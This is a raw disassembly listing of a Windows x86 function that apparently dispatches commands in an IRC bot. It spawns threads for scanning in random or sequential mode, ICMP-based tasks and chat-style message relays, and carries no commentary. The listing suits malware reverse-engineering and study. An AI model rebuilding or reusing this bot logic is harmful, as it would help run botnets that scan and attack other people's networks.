		call	sub_416D30
		push	[ebp+arg_18]
		call	sub_4159EF
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_4159EF
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_4159EF
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416D30
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_42CF10
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_414F2C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_4095CC
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410166


loc_410154:				; CODE XREF: sub_40D2E0+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_410190
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410154
; ---------------------------------------------------------------------------


loc_410166:				; CODE XREF: sub_40D2E0+2E72j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CEC8
		jmp	loc_410D3A
; ---------------------------------------------------------------------------


loc_410177:				; CODE XREF: sub_40D2E0+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D30


loc_41018D:				; CODE XREF: sub_40D2E0+3A66j
		add	esp, 0Ch


loc_410190:				; CODE XREF: sub_40D2E0+2E7Aj
					; sub_40D2E0+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41327F
		push	ebx
		push	[ebp+var_4]


loc_41019D:				; CODE XREF: sub_40D2E0+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_412A97
; ---------------------------------------------------------------------------


loc_4101B0:				; CODE XREF: sub_40D2E0+2808j
					; sub_40D2E0+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_416D30
		push	[ebp+arg_18]
		call	sub_4159EF
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_4159EF
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_4159EF
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_410215
		push	esi
		call	sub_4159EF
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_41021B
; ---------------------------------------------------------------------------


loc_410215:				; CODE XREF: sub_40D2E0+2F24j
		mov	[ebp+var_30C], ebx


loc_41021B:				; CODE XREF: sub_40D2E0+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D30
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_42CE58
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_414F2C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_409758
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_4102C2


loc_4102AC:				; CODE XREF: sub_40D2E0+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_410190
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_4102AC
; ---------------------------------------------------------------------------


loc_4102C2:				; CODE XREF: sub_40D2E0+2FCAj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CE10
		jmp	loc_410D3A
; ---------------------------------------------------------------------------


loc_4102D3:				; CODE XREF: sub_40D2E0+27DAj
					; sub_40D2E0+27F1j
		push	8
		call	sub_415174
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_4159EF
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 3E8h
		jle	short loc_410326
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_42CDC4
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 20h
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_410326:				; CODE XREF: sub_40D2E0+300Fj
		push	edi
		call	sub_4159EF
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_4159EF
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_4159EF
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_41035F
		push	2
		pop	eax
		mov	[ebp+var_32C], eax


loc_41035F:				; CODE XREF: sub_40D2E0+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_41036C
		mov	[ebp+var_32C], ecx


loc_41036C:				; CODE XREF: sub_40D2E0+3084j
		push	[ebp+arg_10]
		call	sub_4159EF
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_41038C
		mov	[ebp+var_328], 270Fh


loc_41038C:				; CODE XREF: sub_40D2E0+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	ds:dword_426620, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4103E2
		mov	[ebp+arg_24], offset dword_426620


loc_4103A5:				; CODE XREF: sub_40D2E0+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4103C8
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_4103A5
		jmp	short loc_4103E2
; ---------------------------------------------------------------------------


loc_4103C8:				; CODE XREF: sub_40D2E0+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_426620[ecx]
		mov	[ebp+var_330], ecx


loc_4103E2:				; CODE XREF: sub_40D2E0+30BCj
					; sub_40D2E0+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_4124A7
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_410429
		cmp	byte ptr [edi],	23h
		jz	short loc_410429
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_4159FA
		push	78h
		push	edi
		call	sub_417070
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_4104FD
; ---------------------------------------------------------------------------


loc_410429:				; CODE XREF: sub_40D2E0+3117j
					; sub_40D2E0+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_41044B
		cmp	[ebp+var_9C6], bl
		jnz	short loc_41044B
		cmp	[ebp+var_9B6], bl
		jnz	short loc_41044B
		push	offset unk_42CD80
		jmp	loc_412A6C
; ---------------------------------------------------------------------------


loc_41044B:				; CODE XREF: sub_40D2E0+314Fj
					; sub_40D2E0+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	ds:dword_43640C	; getsockname
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_416D30
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_4104F7
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_417030
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4104EB


loc_4104C9:				; CODE XREF: sub_40D2E0+3209j
		cmp	eax, ebx
		jz	short loc_4104EB
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_417030
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4104C9


loc_4104EB:				; CODE XREF: sub_40D2E0+31E7j
					; sub_40D2E0+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_4104FD
; ---------------------------------------------------------------------------


loc_4104F7:				; CODE XREF: sub_40D2E0+31C1j
		mov	[ebp+var_304], ebx


loc_4104FD:				; CODE XREF: sub_40D2E0+3144j
					; sub_40D2E0+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_4159FA
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41054E


loc_41053B:				; CODE XREF: sub_40D2E0+3291j
		push	esi


loc_41053C:				; CODE XREF: sub_40D2E0+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		jmp	short loc_410579
; ---------------------------------------------------------------------------


loc_41054E:				; CODE XREF: sub_40D2E0+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_41055D
		cmp	byte ptr [eax],	23h
		jnz	short loc_41055D
		push	eax
		jmp	short loc_41053C
; ---------------------------------------------------------------------------


loc_41055D:				; CODE XREF: sub_40D2E0+3273j
					; sub_40D2E0+3278j
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_4325D8
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41053B
		mov	[ebp+var_3B4], bl


loc_410579:				; CODE XREF: sub_40D2E0+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41058B
		mov	eax, offset aSequential	; "Sequential"


loc_41058B:				; CODE XREF: sub_40D2E0+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42CCFC
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_414F2C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_405FC5
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410619


loc_410603:				; CODE XREF: sub_40D2E0+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_412A7A
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410603
; ---------------------------------------------------------------------------


loc_410619:				; CODE XREF: sub_40D2E0+3321j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CCB4
		jmp	loc_41206B
; ---------------------------------------------------------------------------


loc_41062A:				; CODE XREF: sub_40D2E0+279Aj
					; sub_40D2E0+27B1j
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43BED8[eax], bl
		jz	loc_4133B5
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	[ebp+arg_18]
		call	sub_415C80
		push	edi
		mov	esi, eax
		call	sub_415C80
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_415C80
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415A50
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_42CCA8
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_4133B5
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAE7
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43BCC0[eax], 73h
		jnz	loc_4133B5
		push	esi
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43BED8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_410715:				; CODE XREF: sub_40D2E0+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 28h
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_410742:				; CODE XREF: sub_40D2E0+276Cj
					; sub_40D2E0+2783j
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_43BED8[eax], bl
		jz	loc_4133B5
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	[ebp+arg_18]
		call	sub_415C80
		push	edi
		mov	esi, eax
		call	sub_415C80
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_415C80
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415A50
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_4133B5
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAE7
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_43BCC0[eax], 73h
		jnz	loc_4133B5
		push	esi
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43BED8
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_410715
; ---------------------------------------------------------------------------


loc_410817:				; CODE XREF: sub_40D2E0+273Ej
					; sub_40D2E0+2755j
		push	edi
		call	ds:dword_4364A8	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_4159EF
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_4159EF
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_416D30
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	ds:dword_4364F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42CC3C
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset sub_4142A5
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_4108F9


loc_4108E3:				; CODE XREF: sub_40D2E0+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_412953
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_4108E3
; ---------------------------------------------------------------------------


loc_4108F9:				; CODE XREF: sub_40D2E0+3601j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CBF0
		jmp	loc_412944
; ---------------------------------------------------------------------------


loc_41090A:				; CODE XREF: sub_40D2E0+2710j
					; sub_40D2E0+2727j
		push	edi
		call	sub_4159EF
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416D30
		push	[ebp+arg_0]
		call	sub_4159EF
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_409526
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42CBA4
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_414F2C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_406224
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_4109F6


loc_4109E0:				; CODE XREF: sub_40D2E0+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_412953
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_4109E0
; ---------------------------------------------------------------------------


loc_4109F6:				; CODE XREF: sub_40D2E0+36FEj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CB50
		jmp	loc_412944
; ---------------------------------------------------------------------------


loc_410A07:				; CODE XREF: sub_40D2E0+26E2j
					; sub_40D2E0+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_416D30
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D30
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_4159EF
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_410A63
		push	10h
		push	ebx
		push	eax
		call	sub_416A80
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_410A69
; ---------------------------------------------------------------------------


loc_410A63:				; CODE XREF: sub_40D2E0+376Dj
		mov	[ebp+var_570], ebx


loc_410A69:				; CODE XREF: sub_40D2E0+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_410A80
		push	esi
		call	sub_4159EF
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_410A86
; ---------------------------------------------------------------------------


loc_410A80:				; CODE XREF: sub_40D2E0+378Fj
		mov	[ebp+var_574], ebx


loc_410A86:				; CODE XREF: sub_40D2E0+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_42CB14
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_414F2C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40B105
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410B37


loc_410B21:				; CODE XREF: sub_40D2E0+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_410190
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410B21
; ---------------------------------------------------------------------------


loc_410B37:				; CODE XREF: sub_40D2E0+383Fj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CAC4
		jmp	loc_410D3A
; ---------------------------------------------------------------------------


loc_410B48:				; CODE XREF: sub_40D2E0+26B4j
					; sub_40D2E0+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D30
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D30
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D30
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_42CA88
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410C1B


loc_410C09:				; CODE XREF: sub_40D2E0+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_410C36
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410C09
; ---------------------------------------------------------------------------


loc_410C1B:				; CODE XREF: sub_40D2E0+3927j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42CA40
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_410C36:				; CODE XREF: sub_40D2E0+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_41327F
		push	ebx
		push	esi
		jmp	loc_412A87
; ---------------------------------------------------------------------------


loc_410C46:				; CODE XREF: sub_40D2E0+266Fj
					; sub_40D2E0+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_416D30
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_416D30
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_416D30
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D30
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_42CA00
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410D2E


loc_410D18:				; CODE XREF: sub_40D2E0+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_410190
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410D18
; ---------------------------------------------------------------------------


loc_410D2E:				; CODE XREF: sub_40D2E0+3A36j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C9B8


loc_410D3A:				; CODE XREF: sub_40D2E0+2E92j
					; sub_40D2E0+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		jmp	loc_41018D
; ---------------------------------------------------------------------------


loc_410D4B:				; CODE XREF: sub_40D2E0+2641j
					; sub_40D2E0+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_416D30
		push	[ebp+arg_18]
		call	sub_4159EF
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_416D30
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_410D99
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_410D99:				; CODE XREF: sub_40D2E0+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42C978
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40D000
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410E25


loc_410E0F:				; CODE XREF: sub_40D2E0+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411ED0
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410E0F
; ---------------------------------------------------------------------------


loc_410E25:				; CODE XREF: sub_40D2E0+3B2Dj
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C930
		jmp	loc_40FCF6
; ---------------------------------------------------------------------------


loc_410E36:				; CODE XREF: sub_40D2E0+2601j
					; sub_40D2E0+2618j
		push	[ebp+arg_18]
		call	sub_4159EF
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_410F2D
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_42C8F4
		push	200h
		push	eax
		call	sub_4159FA
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
